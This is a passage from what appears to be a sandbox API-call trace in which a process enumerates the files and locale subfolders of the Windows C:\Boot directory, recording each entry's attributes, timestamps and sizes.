nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0069.149] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0069.150] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0069.151] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0069.153] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0069.154] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0069.154] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0069.154] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0069.154] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0069.154] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0069.154] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0069.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0069.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0069.155] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0069.155] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.155] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.155] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0069.155] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0069.156] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, 